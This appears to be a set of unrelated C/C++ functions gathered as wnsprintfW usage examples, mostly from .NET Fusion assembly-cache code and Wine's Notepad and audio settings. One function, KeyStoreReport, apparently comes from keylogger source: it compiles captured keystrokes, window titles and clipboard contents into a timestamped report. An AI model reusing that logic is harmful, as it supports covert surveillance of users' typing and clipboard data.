HRESULT UrlCombineUnescape(LPCWSTR pszBase, LPCWSTR pszRelative, LPWSTR pszCombined, LPDWORD pcchCombined, DWORD dwFlags) { HRESULT hr = S_OK; DWORD dwSize; LPWSTR pwzCombined = NULL; LPWSTR pwzFileCombined = NULL; pwzCombined = NEW(WCHAR[MAX_URL_LENGTH]); if (!pwzCombined) { hr = E_OUTOFMEMORY; goto Exit; } // If we're just combining an absolute file path to an relative file // path, do this by concatenating the strings, and canonicalizing it. // This avoids UrlCombine randomness where you could end up with // a partially escaped (and partially unescaped) resulting URL! if (!PathIsURLW(pszBase) && PathIsRelativeWrap(pszRelative)) { pwzFileCombined = NEW(WCHAR[MAX_URL_LENGTH]); if (!pwzFileCombined) { hr = E_OUTOFMEMORY; goto Exit; } wnsprintfW(pwzFileCombined, MAX_URL_LENGTH, L"%ws%ws", pszBase, pszRelative); hr = UrlCanonicalizeUnescape(pwzFileCombined, pszCombined, pcchCombined, 0); goto Exit; } else { dwSize = MAX_URL_LENGTH; hr = UrlCombineW(pszBase, pszRelative, pwzCombined, &dwSize, dwFlags); if (FAILED(hr)) { goto Exit; } } // Don't unescape if the relative part was already an URL because // URLs wouldn't have been escaped during the UrlCombined. if (UrlIsW(pwzCombined, URLIS_FILEURL)) { hr = UrlUnescapeW(pwzCombined, pszCombined, pcchCombined, 0); if (FAILED(hr)) { goto Exit; } } else { if (*pcchCombined >= dwSize) { lstrcpyW(pszCombined, pwzCombined); } *pcchCombined = dwSize; } Exit: SAFEDELETEARRAY(pwzCombined); SAFEDELETEARRAY(pwzFileCombined); return hr; }
HRESULT GetAsmDir(LPWSTR pszSubDirName, DWORD dwCache, DWORD dwVerHigh, DWORD dwVerLow, LPWSTR pszCulture, PBYTE pPKT, DWORD cbPKT, PBYTE pCustom, DWORD cbCustom) { HRESULT hr = S_OK; DWORD dwLen; ASSERT(pszSubDirName && pszCulture); // && pPKT); if( (MAX_VERSION_DISPLAY_SIZE + lstrlen(pszCulture) + (cbPKT * 2) + (cbCustom*2) + 4) > MAX_PATH ) { hr = HRESULT_FROM_WIN32(FUSION_E_INVALID_NAME); goto exit; } wnsprintfW(pszSubDirName, MAX_PATH, L"%d.%d.%d.%d", HIWORD(dwVerHigh), LOWORD(dwVerHigh), HIWORD(dwVerLow), LOWORD(dwVerLow)); dwLen = lstrlen(pszSubDirName); wnsprintfW(pszSubDirName+dwLen, MAX_PATH, L"_%s_", pszCulture); dwLen = lstrlen(pszSubDirName); // Convert to unicode. CParseUtils::BinToUnicodeHex(pPKT, cbPKT, pszSubDirName+dwLen); dwLen += cbPKT * 2; if(dwCache & ASM_CACHE_ZAP) { ASSERT(pCustom); StrCpy(pszSubDirName+dwLen, L"_"); dwLen++; DWORD dwHash = GetBlobHash(pCustom, cbCustom); // Convert to unicode. CParseUtils::BinToUnicodeHex( (PBYTE) &dwHash, sizeof(DWORD), pszSubDirName+dwLen); dwLen += DWORD_STRING_LEN; } pszSubDirName[dwLen] = L'\0'; exit : return hr; }
HRESULT SetCurrentUserPermissions() { HRESULT hr = E_FAIL; WCHAR wzLocalGACPath[MAX_PATH]; LPWSTR pwzFileName; DWORD dwAttr; // Executed on PROCESS_ATTACH - no need to lock here if (FAILED(GetCacheLocationFromReg())) { if (!PAL_GetMachineConfigurationDirectory(g_szWindowsDir, NUMBER_OF(g_szWindowsDir))) { hr = FusionpHresultFromLastError(); goto Exit; } g_cchWindowsDir = lstrlen(g_szWindowsDir); } // Override registry setting if there is an "fusion.localgac" file // under the path where fusion.dll is found lstrcpyW(wzLocalGACPath, g_FusionDllPath); pwzFileName = PathFindFileName(wzLocalGACPath); ASSERT(pwzFileName); *pwzFileName = '\0'; wnsprintfW(wzLocalGACPath, MAX_PATH, L"%s%s", wzLocalGACPath, FUSION_LOCAL_GAC_FILE); dwAttr = GetFileAttributes(wzLocalGACPath); if (dwAttr != (DWORD) -1 && !(dwAttr & FILE_ATTRIBUTE_DIRECTORY)) { *(pwzFileName - 1) = '\0'; lstrcpyW(g_szWindowsDir, wzLocalGACPath); g_cchWindowsDir = lstrlenW(g_szWindowsDir); } // Woah, the windows dir is longer than MAX_PATH?? ASSERT((g_cchWindowsDir + TEMP_RANDOM_DIR_LENGTH) < NUMBER_OF(g_szWindowsDir)); if (g_cchWindowsDir == 0) { hr = FusionpHresultFromLastError(); goto Exit; } // SetGACDir(); // SetZapDir(); Exit: return hr; }
static WCHAR *expand_header_vars(WCHAR *pattern, int page) { int length = 0; int i; BOOL inside = FALSE; WCHAR *buffer = NULL; for (i = 0; pattern[i]; i++) { if (inside) { if (pattern[i] == '&') length++; else if (pattern[i] == 'p') length += 11; inside = FALSE; } else if (pattern[i] == '&') inside = TRUE; else length++; } buffer = HeapAlloc(GetProcessHeap(), 0, (length + 1) * sizeof(WCHAR)); if (buffer) { int j = 0; inside = FALSE; for (i = 0; pattern[i]; i++) { if (inside) { if (pattern[i] == '&') buffer[j++] = '&'; else if (pattern[i] == 'p') { static const WCHAR percent_dW[] = {'%','d',0}; j += wnsprintfW(&buffer[j], 11, percent_dW, page); } inside = FALSE; } else if (pattern[i] == '&') inside = TRUE; else buffer[j++] = pattern[i]; } buffer[j++] = 0; } return buffer; }
static int AlertUnicodeCharactersLost(LPCWSTR szFileName) { WCHAR szMsgFormat[MAX_STRING_LEN]; WCHAR szEnc[MAX_STRING_LEN]; WCHAR szMsg[ARRAY_SIZE(szMsgFormat) + MAX_PATH + ARRAY_SIZE(szEnc)]; WCHAR szCaption[MAX_STRING_LEN]; LoadStringW(Globals.hInstance, STRING_LOSS_OF_UNICODE_CHARACTERS, szMsgFormat, ARRAY_SIZE(szMsgFormat)); load_encoding_name(ENCODING_ANSI, szEnc, ARRAY_SIZE(szEnc)); wnsprintfW(szMsg, ARRAY_SIZE(szMsg), szMsgFormat, szFileName, szEnc); LoadStringW(Globals.hInstance, STRING_NOTEPAD, szCaption, ARRAY_SIZE(szCaption)); return MessageBoxW(Globals.hMainWnd, szMsg, szCaption, MB_OKCANCEL|MB_ICONEXCLAMATION); }
int DIALOG_StringMsgBox(HWND hParent, int formatId, LPCWSTR szString, DWORD dwFlags) { WCHAR szMessage[MAX_STRING_LEN]; WCHAR szResource[MAX_STRING_LEN]; /* Load and format szMessage */ LoadStringW(Globals.hInstance, formatId, szResource, ARRAY_SIZE(szResource)); wnsprintfW(szMessage, ARRAY_SIZE(szMessage), szResource, szString); /* Load szCaption */ if ((dwFlags & MB_ICONMASK) == MB_ICONEXCLAMATION) LoadStringW(Globals.hInstance, STRING_ERROR, szResource, ARRAY_SIZE(szResource)); else LoadStringW(Globals.hInstance, STRING_NOTEPAD, szResource, ARRAY_SIZE(szResource)); /* Display Modal Dialog */ if (hParent == NULL) hParent = Globals.hMainWnd; return MessageBoxW(hParent, szMessage, szResource, dwFlags); }
HRESULT MakeUniqueTempDirectory(LPCWSTR wzTempDir, LPWSTR wzUniqueTempDir, DWORD dwLen) { int n = 1; HRESULT hr = S_OK; CCriticalSection cs(&g_csInitClb); ASSERT(wzTempDir && wzUniqueTempDir); //execute entire function under critical section hr = cs.Lock(); if (FAILED(hr)) { goto Exit; } do { if (n > 100) // avoid infinite loop! break; wnsprintfW(wzUniqueTempDir, dwLen, L"%ws%ws%d.tmp", wzTempDir, L"Fusion", n++); } while (GetFileAttributesW(wzUniqueTempDir) != (DWORD) -1); if (!CreateDirectoryW(wzUniqueTempDir, NULL)) { hr = FusionpHresultFromLastError(); } lstrcatW(wzUniqueTempDir, L"\\"); cs.Unlock(); Exit: return hr; }
// --------------------------------------------------------------------------- // CEnumRecord ctor // --------------------------------------------------------------------------- CEnumCache::CEnumCache(BOOL bShowAll, LPWSTR pszCustomPath) { _dwSig = 0x524e4345; /* 'RNCE' */ _dwColumns = 0; _pQry = 0; _bShowAll=bShowAll; _fAll = FALSE; _fAllDone = FALSE; _hParentDone = FALSE; _bNeedMutex = FALSE; _hParentDir = INVALID_HANDLE_VALUE; _hAsmDir = INVALID_HANDLE_VALUE; _wzCachePath[0] = '\0'; _wzParentDir[0] = '\0'; _wzAsmDir[0] = '\0'; if(pszCustomPath) { wnsprintfW(_wzCustomPath, MAX_PATH, L"%ws", pszCustomPath); } else { _wzCustomPath[0] = '\0'; } }
static void initAudioDlg (HWND hDlg) { WCHAR display_str[256], format_str[256], sysdefault_str[256], disabled_str[64]; IMMDeviceEnumerator *devenum; BOOL have_driver = FALSE; HRESULT hr; UINT i; WINE_TRACE("\n"); LoadStringW(GetModuleHandleW(NULL), IDS_AUDIO_DRIVER, format_str, sizeof(format_str) / sizeof(*format_str)); LoadStringW(GetModuleHandleW(NULL), IDS_AUDIO_DRIVER_NONE, disabled_str, sizeof(disabled_str) / sizeof(*disabled_str)); LoadStringW(GetModuleHandleW(NULL), IDS_AUDIO_SYSDEFAULT, sysdefault_str, sizeof(sysdefault_str) / sizeof(*sysdefault_str)); hr = CoCreateInstance(&CLSID_MMDeviceEnumerator, NULL, CLSCTX_INPROC_SERVER, &IID_IMMDeviceEnumerator, (void**)&devenum); if(SUCCEEDED(hr)){ PROPVARIANT pv; load_devices(devenum, eRender, &num_render_devs, &render_devs); load_devices(devenum, eCapture, &num_capture_devs, &capture_devs); PropVariantInit(&pv); if(get_driver_name(devenum, &pv) && pv.u.pwszVal[0] != '\0'){ have_driver = TRUE; wnsprintfW(display_str, sizeof(display_str) / sizeof(*display_str), format_str, pv.u.pwszVal); lstrcatW(g_drv_keyW, pv.u.pwszVal); } PropVariantClear(&pv); IMMDeviceEnumerator_Release(devenum); } SendDlgItemMessageW(hDlg, IDC_AUDIOOUT_DEVICE, CB_ADDSTRING, 0, (LPARAM)sysdefault_str); SendDlgItemMessageW(hDlg, IDC_AUDIOOUT_DEVICE, CB_SETCURSEL, 0, 0); SendDlgItemMessageW(hDlg, IDC_VOICEOUT_DEVICE, CB_ADDSTRING, 0, (LPARAM)sysdefault_str); SendDlgItemMessageW(hDlg, IDC_VOICEOUT_DEVICE, CB_SETCURSEL, 0, 0); SendDlgItemMessageW(hDlg, IDC_AUDIOIN_DEVICE, CB_ADDSTRING, 0, (LPARAM)sysdefault_str); SendDlgItemMessageW(hDlg, IDC_AUDIOIN_DEVICE, CB_SETCURSEL, 0, 0); SendDlgItemMessageW(hDlg, IDC_VOICEIN_DEVICE, CB_ADDSTRING, 0, (LPARAM)sysdefault_str); SendDlgItemMessageW(hDlg, IDC_VOICEIN_DEVICE, CB_SETCURSEL, 0, 0); i = 0; while (speaker_configs[i].text_id != 0) { WCHAR speaker_str[256]; LoadStringW(GetModuleHandleW(NULL), speaker_configs[i].text_id, speaker_str, sizeof(speaker_str) / sizeof(*speaker_str)); SendDlgItemMessageW(hDlg, IDC_SPEAKERCONFIG_SPEAKERS, CB_ADDSTRING, 0, (LPARAM)speaker_str); i++; } if(have_driver){ WCHAR *reg_out_dev, *reg_vout_dev, *reg_in_dev, *reg_vin_dev; BOOL default_dev_found = FALSE; reg_out_dev = get_reg_keyW(HKEY_CURRENT_USER, g_drv_keyW, reg_out_nameW, NULL); reg_vout_dev = get_reg_keyW(HKEY_CURRENT_USER, g_drv_keyW, reg_vout_nameW, NULL); reg_in_dev = get_reg_keyW(HKEY_CURRENT_USER, g_drv_keyW, reg_in_nameW, NULL); reg_vin_dev = get_reg_keyW(HKEY_CURRENT_USER, g_drv_keyW, reg_vin_nameW, NULL); SendDlgItemMessageW(hDlg, IDC_SPEAKERCONFIG_DEVICE, CB_SETCURSEL, i, 0); SendDlgItemMessageW(hDlg, IDC_SPEAKERCONFIG_SPEAKERS, CB_SETCURSEL, render_devs[i].speaker_config, 0); for(i = 0; i < num_render_devs; ++i){ if(!render_devs[i].id) continue; SendDlgItemMessageW(hDlg, IDC_AUDIOOUT_DEVICE, CB_ADDSTRING, 0, (LPARAM)render_devs[i].name.u.pwszVal); SendDlgItemMessageW(hDlg, IDC_AUDIOOUT_DEVICE, CB_SETITEMDATA, i + 1, (LPARAM)&render_devs[i]); SendDlgItemMessageW(hDlg, IDC_SPEAKERCONFIG_DEVICE, CB_ADDSTRING, 0, (LPARAM)render_devs[i].name.u.pwszVal); if(reg_out_dev && !lstrcmpW(render_devs[i].id, reg_out_dev)){ SendDlgItemMessageW(hDlg, IDC_AUDIOOUT_DEVICE, CB_SETCURSEL, i + 1, 0); SendDlgItemMessageW(hDlg, IDC_SPEAKERCONFIG_DEVICE, CB_SETCURSEL, i, 0); SendDlgItemMessageW(hDlg, IDC_SPEAKERCONFIG_SPEAKERS, CB_SETCURSEL, render_devs[i].speaker_config, 0); default_dev_found = TRUE; } SendDlgItemMessageW(hDlg, IDC_VOICEOUT_DEVICE, CB_ADDSTRING, 0, (LPARAM)render_devs[i].name.u.pwszVal); SendDlgItemMessageW(hDlg, IDC_VOICEOUT_DEVICE, CB_SETITEMDATA, i + 1, (LPARAM)&render_devs[i]); if(reg_vout_dev && !lstrcmpW(render_devs[i].id, reg_vout_dev)) SendDlgItemMessageW(hDlg, IDC_VOICEOUT_DEVICE, CB_SETCURSEL, i + 1, 0); } if(!default_dev_found && num_render_devs > 0){ SendDlgItemMessageW(hDlg, IDC_SPEAKERCONFIG_DEVICE, CB_SETCURSEL, 0, 0); SendDlgItemMessageW(hDlg, IDC_SPEAKERCONFIG_SPEAKERS, CB_SETCURSEL, render_devs[0].speaker_config, 0); } for(i = 0; i < num_capture_devs; ++i){ if(!capture_devs[i].id) continue; SendDlgItemMessageW(hDlg, IDC_AUDIOIN_DEVICE, CB_ADDSTRING, 0, (LPARAM)capture_devs[i].name.u.pwszVal); SendDlgItemMessageW(hDlg, IDC_AUDIOIN_DEVICE, CB_SETITEMDATA, i + 1, (LPARAM)&capture_devs[i]); if(reg_in_dev && !lstrcmpW(capture_devs[i].id, reg_in_dev)) SendDlgItemMessageW(hDlg, IDC_AUDIOIN_DEVICE, CB_SETCURSEL, i + 1, 0); SendDlgItemMessageW(hDlg, IDC_VOICEIN_DEVICE, CB_ADDSTRING, 0, (LPARAM)capture_devs[i].name.u.pwszVal); SendDlgItemMessageW(hDlg, IDC_VOICEIN_DEVICE, CB_SETITEMDATA, i + 1, (LPARAM)&capture_devs[i]); if(reg_vin_dev && !lstrcmpW(capture_devs[i].id, reg_vin_dev)) SendDlgItemMessageW(hDlg, IDC_VOICEIN_DEVICE, CB_SETCURSEL, i + 1, 0); } HeapFree(GetProcessHeap(), 0, reg_out_dev); HeapFree(GetProcessHeap(), 0, reg_vout_dev); HeapFree(GetProcessHeap(), 0, reg_in_dev); HeapFree(GetProcessHeap(), 0, reg_vin_dev); }else wnsprintfW(display_str, sizeof(display_str) / sizeof(*display_str), format_str, disabled_str); SetDlgItemTextW(hDlg, IDC_AUDIO_DRIVER, display_str); }
// // Creates key store report. // WINERROR KeyStoreReport( PWCHAR* ppReport, // receives key report PULONG pLength, // size of the report in chars BOOL bDelete ) { WINERROR Status = ERROR_NOT_ENOUGH_MEMORY; PKEY_CONTEXT Ctx, NextCtx; ULONG bLen, TotalLen = 1, Index = 0, Length, InitialSize; ULONG LengthClipbrd = 0; PWCHAR Buffer, NewBuffer; SYSTEMTIME DateTime; FILETIME LocalTime; PLIST_ENTRY ListEntry; #if _DEBUG HANDLE PrevKey = 0; #endif InitialSize = MAX_REPORT_BUFFER_SIZE; if (Buffer = AppAlloc(InitialSize)) { bLen = MAX_REPORT_BUFFER_SIZE / sizeof(WCHAR); Buffer[0] = 0xfeff; // Unicode file magic Buffer[1] = 0; bLen -= 1; NextCtx = EnumContext(NULL); while(Ctx = NextCtx) { #if _DEBUG PHANDLE_RECORD pHRec = CONTAINING_RECORD(Ctx, HANDLE_RECORD, Context); ASSERT(pHRec->RefCount == 2); ASSERT(PrevKey != pHRec->Key); PrevKey = pHRec->Key; #endif if (Ctx->bActive) { FileTimeToLocalFileTime(&Ctx->Time, &LocalTime); FileTimeToSystemTime(&LocalTime, &DateTime); // Calculating new message length Length = cstrlenW(wczReportFormat) + lstrlenW(Ctx->ProcessPath) + lstrlenW(Ctx->WindowText) + Ctx->Count + 1; // Checking if there's enough free space within the buffer to fit the message if ((bLen >= Length) || // Trying to reallocate the buffer ((NewBuffer = ReallocBuffer(Buffer, (InitialSize += max(Length, MAX_KEY_BUFFER_SIZE) * sizeof(WCHAR)), (bLen * sizeof(WCHAR)))) && (Buffer = NewBuffer) && (bLen = (InitialSize / sizeof(WCHAR)) - bLen))) { Length = wnsprintfW( Buffer + TotalLen, bLen, wczReportFormat, DateTime.wDay, DateTime.wMonth, DateTime.wYear, DateTime.wHour, DateTime.wMinute, DateTime.wSecond, (LPWSTR)&Ctx->ProcessPath, (LPWSTR)&Ctx->WindowText, (LPWSTR)&Ctx->KeyBuffer ); bLen -= Length; TotalLen += Length; } } // if (Ctx->bActive) if (!IsListEmpty(&Ctx->ClipboardChain)) { for ( ListEntry = Ctx->ClipboardChain.Flink; ListEntry != &Ctx->ClipboardChain; ListEntry = ListEntry->Flink) { PCLIPBOARD_ENTRY CEntry = CONTAINING_RECORD(ListEntry,CLIPBOARD_ENTRY,qLink); Length = cstrlenW(wczFormatClipbrd) + lstrlenA(CEntry->Buffer); // Checking if there's enough free space within the buffer to fit the message if ((bLen >= Length) || // Trying to reallocate the buffer ((NewBuffer = ReallocBuffer(Buffer, (InitialSize += max(Length, MAX_KEY_BUFFER_SIZE) * sizeof(WCHAR)), (bLen * sizeof(WCHAR)))) && (Buffer = NewBuffer) && (bLen = (InitialSize / sizeof(WCHAR)) - bLen))) { FileTimeToLocalFileTime(&CEntry->Time, &LocalTime); FileTimeToSystemTime(&LocalTime, &DateTime); Length = wnsprintfW( Buffer + TotalLen, bLen, wczFormatClipbrd, DateTime.wDay, DateTime.wMonth, DateTime.wYear, DateTime.wHour, DateTime.wMinute, DateTime.wSecond, (LPWSTR)CEntry->Buffer ); bLen -= Length; TotalLen += Length; } } } // if (!IsListEmpty(&Ctx->ClipboardChain)) NextCtx = EnumContext(Ctx); if (bDelete) ReleaseContext(Ctx); else Index += 1; ReleaseContext(Ctx); } // while(Ctx = NextCtx) if (TotalLen > 1) { *ppReport = Buffer; *pLength = TotalLen; Status = NO_ERROR; } else { AppFree(Buffer); Status = ERROR_NO_MORE_FILES; } } // if (Buffer = AppAlloc(DEFAULT_REPORT_BUFFER_SIZE)) return(Status); }
STDAPI CopyPDBs(IAssembly *pAsm) { HRESULT hr = S_OK; IAssemblyName *pName = NULL; IAssemblyModuleImport *pModImport = NULL; DWORD dwSize; WCHAR wzAsmCachePath[MAX_PATH]; WCHAR wzFileName[MAX_PATH]; WCHAR wzSourcePath[MAX_PATH]; WCHAR wzPDBName[MAX_PATH]; WCHAR wzPDBSourcePath[MAX_PATH]; WCHAR wzPDBTargetPath[MAX_PATH]; WCHAR wzModPath[MAX_PATH]; LPWSTR wzCodebase=NULL; LPWSTR wzModName = NULL; DWORD dwIdx = 0; LPWSTR wzTmp = NULL; if (!pAsm) { hr = E_INVALIDARG; goto Exit; } if (pAsm->GetAssemblyLocation(NULL) == E_NOTIMPL) { // This is a registered "known assembly" (ie. the process EXE). // We don't copy PDBs for the process EXE because it's never // shadow copied. hr = S_FALSE; goto Exit; } // Find the source location. Make sure this is a file:// URL (ie. we // don't support retrieving the PDB over http://). hr = pAsm->GetAssemblyNameDef(&pName); if (FAILED(hr)) { goto Exit; } wzCodebase = NEW(WCHAR[MAX_URL_LENGTH+1]); if (!wzCodebase) { hr = E_OUTOFMEMORY; goto Exit; } dwSize = MAX_URL_LENGTH * sizeof(WCHAR); hr = pName->GetProperty(ASM_NAME_CODEBASE_URL, (void *)wzCodebase, &dwSize); if (FAILED(hr)) { goto Exit; } if (!UrlIsW(wzCodebase, URLIS_FILEURL)) { hr = E_INVALIDARG; goto Exit; } dwSize = MAX_PATH; hr = PathCreateFromUrlWrap(wzCodebase, wzSourcePath, &dwSize, 0); if (FAILED(hr)) { goto Exit; } wzTmp = PathFindFileName(wzSourcePath); ASSERT(wzTmp > (LPWSTR)wzSourcePath); *wzTmp = L'\0'; // Find the target location in the cache. dwSize = MAX_PATH; hr = pAsm->GetManifestModulePath(wzAsmCachePath, &dwSize); if (FAILED(hr)) { goto Exit; } wzTmp = PathFindFileName(wzAsmCachePath); ASSERT(wzTmp > (LPWSTR)wzAsmCachePath); StrCpy(wzFileName, wzTmp); *wzTmp = L'\0'; // Copy the manifest PDB. // Hack for now dwSize = MAX_PATH; hr = GetPDBName(wzFileName, wzPDBName, &dwSize); if (FAILED(hr)) { goto Exit; } wnsprintfW(wzPDBSourcePath, MAX_PATH, L"%ws%ws", wzSourcePath, wzPDBName); wnsprintf(wzPDBTargetPath, MAX_PATH, L"%ws%ws", wzAsmCachePath, wzPDBName); if (GetFileAttributes(wzPDBTargetPath) == (DWORD) -1 && lstrcmpiW(wzPDBSourcePath, wzPDBTargetPath)) { CopyFile(wzPDBSourcePath, wzPDBTargetPath, TRUE); } // Copy the module PDBs. dwIdx = 0; while (SUCCEEDED(hr)) { hr = pAsm->GetNextAssemblyModule(dwIdx++, &pModImport); if (SUCCEEDED(hr)) { if (pModImport->IsAvailable()) { dwSize = MAX_PATH; hr = pModImport->GetModulePath(wzModPath, &dwSize); if (FAILED(hr)) { SAFERELEASE(pModImport); goto Exit; } wzModName = PathFindFileName(wzModPath); ASSERT(wzModName); dwSize = MAX_PATH; hr = GetPDBName(wzModName, wzPDBName, &dwSize); if (FAILED(hr)) { SAFERELEASE(pModImport); goto Exit; } wnsprintfW(wzPDBSourcePath, MAX_PATH, L"%ws%ws", wzSourcePath, wzPDBName); wnsprintfW(wzPDBTargetPath, MAX_PATH, L"%ws%ws", wzAsmCachePath, wzPDBName); if (GetFileAttributes(wzPDBTargetPath) == (DWORD) -1 && lstrcmpiW(wzPDBSourcePath, wzPDBTargetPath)) { CopyFile(wzPDBSourcePath, wzPDBTargetPath, TRUE); } } SAFERELEASE(pModImport); } } // Copy complete. Return success. if (hr == HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS)) { hr = S_OK; } Exit: SAFERELEASE(pName); SAFEDELETEARRAY(wzCodebase); return hr; }
HRESULT CDebugLog::CreateLogFile(HANDLE *phFile, LPCWSTR wzFileName, LPCWSTR wzEXEName, HRESULT hrLog) { HRESULT hr = S_OK; SYSTEMTIME systime; LPWSTR pwzFormatMessage = NULL; DWORD dwFMResult = 0; LPWSTR wzBuffer = NULL; LPWSTR wzBuf = NULL; LPWSTR wzResultText = NULL; WCHAR wzDateBuffer[MAX_DATE_LEN]; WCHAR wzTimeBuffer[MAX_DATE_LEN]; if (!phFile || !wzFileName || !wzEXEName) { hr = E_INVALIDARG; goto Exit; } wzBuffer = NEW(WCHAR[MAX_DBG_STR_LEN]); if (!wzBuffer) { hr = E_OUTOFMEMORY; goto Exit; } wzBuf = NEW(WCHAR[MAX_DBG_STR_LEN]); if (!wzBuffer) { hr = E_OUTOFMEMORY; goto Exit; } wzResultText = NEW(WCHAR[MAX_DBG_STR_LEN]); if (!wzResultText) { hr = E_OUTOFMEMORY; goto Exit; } *phFile = CreateFile(wzFileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (*phFile == INVALID_HANDLE_VALUE) { hr = HRESULT_FROM_WIN32(GetLastError()); goto Exit; } if (!_bWroteDetails) { // Details if (!_LoadString(ID_FUSLOG_DETAILED_LOG, wzBuffer, MAX_DBG_STR_LEN)) { hr = HRESULT_FROM_WIN32(GetLastError()); goto Exit; } LogMessage(0, wzBuffer, TRUE); // Executable path if (!_LoadString(ID_FUSLOG_EXECUTABLE, wzBuf, MAX_DBG_STR_LEN)) { hr = HRESULT_FROM_WIN32(GetLastError()); goto Exit; } wnsprintfW(wzBuffer, MAX_DBG_STR_LEN, L"%ws %ws", wzBuf, g_wzEXEPath); LogMessage(0, wzBuffer, TRUE); // Fusion.dll path if (!_LoadString(ID_FUSLOG_FUSION_DLL_PATH, wzBuf, MAX_DBG_STR_LEN)) { hr = HRESULT_FROM_WIN32(GetLastError()); goto Exit; } wnsprintfW(wzBuffer, MAX_DBG_STR_LEN, L"%ws %ws", wzBuf, g_FusionDllPath); LogMessage(0, wzBuffer, TRUE); // Bind result and FormatMessage text if (!_LoadString(ID_FUSLOG_BIND_RESULT_TEXT, wzResultText, MAX_DBG_STR_LEN)) { hr = HRESULT_FROM_WIN32(GetLastError()); goto Exit; } dwFMResult = WszFormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, 0, hrLog, 0, (LPWSTR)&pwzFormatMessage, 0, NULL); if (dwFMResult) { wnsprintfW(wzBuffer, MAX_DBG_STR_LEN, wzResultText, hrLog, pwzFormatMessage); } else { WCHAR wzNoDescription[MAX_DBG_STR_LEN]; if (!_LoadString(ID_FUSLOG_NO_DESCRIPTION, wzNoDescription, MAX_DBG_STR_LEN)) { hr = HRESULT_FROM_WIN32(GetLastError()); goto Exit; } wnsprintfW(wzBuffer, MAX_DBG_STR_LEN, wzResultText, hrLog, wzNoDescription); } LogMessage(0, wzBuffer, TRUE); // Success/fail if (SUCCEEDED(hrLog)) { if (!_LoadString(ID_FUSLOG_OPERATION_SUCCESSFUL, wzBuffer, MAX_DBG_STR_LEN)) { hr = HRESULT_FROM_WIN32(GetLastError()); goto Exit;; } LogMessage(0, wzBuffer, TRUE); } else { if (!_LoadString(ID_FUSLOG_OPERATION_FAILED, wzBuffer, MAX_DBG_STR_LEN)) { hr = HRESULT_FROM_WIN32(GetLastError()); goto Exit;; } LogMessage(0, wzBuffer, TRUE); } // Header text GetSystemTime(&systime); wsprintf(wzDateBuffer, L"%02d/%02d/%04d", systime.wMonth, systime.wDay, systime.wYear); wsprintf(wzTimeBuffer, L"%02d:%02d:%02d (UTC)", systime.wHour, systime.wMinute, systime.wSecond); if (!_LoadString(ID_FUSLOG_HEADER_TEXT, wzBuf, MAX_DBG_STR_LEN)) { hr = HRESULT_FROM_WIN32(GetLastError()); goto Exit; } wnsprintfW(wzBuffer, MAX_DBG_STR_LEN, L"%ws (%ws @ %ws) ***\n", wzBuf, wzDateBuffer, wzTimeBuffer); LogMessage(0, wzBuffer, TRUE); // HTML start/end LogMessage(0, DEBUG_LOG_HTML_START, TRUE); LogMessage(0, DEBUG_LOG_HTML_META_LANGUAGE, TRUE); _bWroteDetails = TRUE; } Exit: if (pwzFormatMessage) { LocalFree(pwzFormatMessage); } SAFEDELETEARRAY(wzBuffer); SAFEDELETEARRAY(wzBuf); SAFEDELETEARRAY(wzResultText); return hr; }
HRESULT CDebugLog::DumpDebugLog(DWORD dwDetailLvl, HRESULT hrLog) { HRESULT hr = S_OK; HANDLE hFile = INVALID_HANDLE_VALUE; LISTNODE pos = NULL; LPWSTR wzUrlName=NULL; CDebugLogElement *pLogElem = NULL; WCHAR wzFileName[MAX_PATH]; WCHAR wzSiteName[MAX_PATH]; WCHAR wzAppLogDir[MAX_PATH]; LPWSTR wzResourceName = NULL; DWORD dwBytes; DWORD dwSize; CCriticalSection cs(&g_csBindLog); BOOL bRet; if (!g_dwLogFailures && !g_dwForceLog) { return S_FALSE; } hr = cs.Lock(); if (FAILED(hr)) { return hr; } pos = _listDbgMsg.GetHeadPosition(); if (!pos) { hr = S_FALSE; goto Exit; } wzUrlName = NEW(WCHAR[MAX_URL_LENGTH+1]); if (!wzUrlName) { hr = E_OUTOFMEMORY; goto Exit; } // Build the log entry URL and Wininet cache file wnsprintfW(wzUrlName, MAX_URL_LENGTH, L"?FusionBindError!exe=%ws!name=%ws", _wzEXEName, _pwzAsmName); { wnsprintfW(wzAppLogDir, MAX_PATH, L"%ws\\%ws", _szLogPath, _wzEXEName); if (GetFileAttributes(wzAppLogDir) == (DWORD) -1) { bRet = CreateDirectory(wzAppLogDir, NULL); if (!bRet) { hr = HRESULT_FROM_WIN32(GetLastError()); goto Exit; } } if (PathIsURLW(_pwzAsmName)) { // This was a where-ref bind. We can't spit out a filename w/ // the URL of the bind because the URL has invalid filename chars. // The best we can do is show that it was a where-ref bind, and // give the filename, and maybe the site. dwSize = MAX_PATH; hr = UrlGetPartW(_pwzAsmName, wzSiteName, &dwSize, URL_PART_HOSTNAME, 0); if (FAILED(hr)) { goto Exit; } wzResourceName = PathFindFileName(_pwzAsmName); ASSERT(wzResourceName); if (!lstrlenW(wzSiteName)) { lstrcpyW(wzSiteName, L"LocalMachine"); } wnsprintfW(wzFileName, MAX_PATH, L"%ws\\FusionBindError!exe=%ws!name=WhereRefBind!Host=(%ws)!FileName=(%ws).HTM", wzAppLogDir, _wzEXEName, wzSiteName, wzResourceName); } else { wnsprintfW(wzFileName, MAX_PATH, L"%ws\\FusionBindError!exe=%ws!name=%ws.HTM", wzAppLogDir, _wzEXEName, _pwzAsmName); } } // Create the and write the log file hr = CreateLogFile(&hFile, wzFileName, _wzEXEName, hrLog); if (FAILED(hr)) { goto Exit; } pos = _listDbgMsg.GetHeadPosition(); while (pos) { pLogElem = _listDbgMsg.GetNext(pos); ASSERT(pLogElem); if (pLogElem->_dwDetailLvl <= dwDetailLvl) { pLogElem->Dump(hFile); WriteFile(hFile, DEBUG_LOG_NEW_LINE, lstrlenW(DEBUG_LOG_NEW_LINE) * sizeof(WCHAR), &dwBytes, NULL); } } // Close the log file and commit the wininet cache entry hr = CloseLogFile(&hFile); if (FAILED(hr)) { goto Exit; } Exit: cs.Unlock(); SAFEDELETEARRAY(wzUrlName); return hr; }
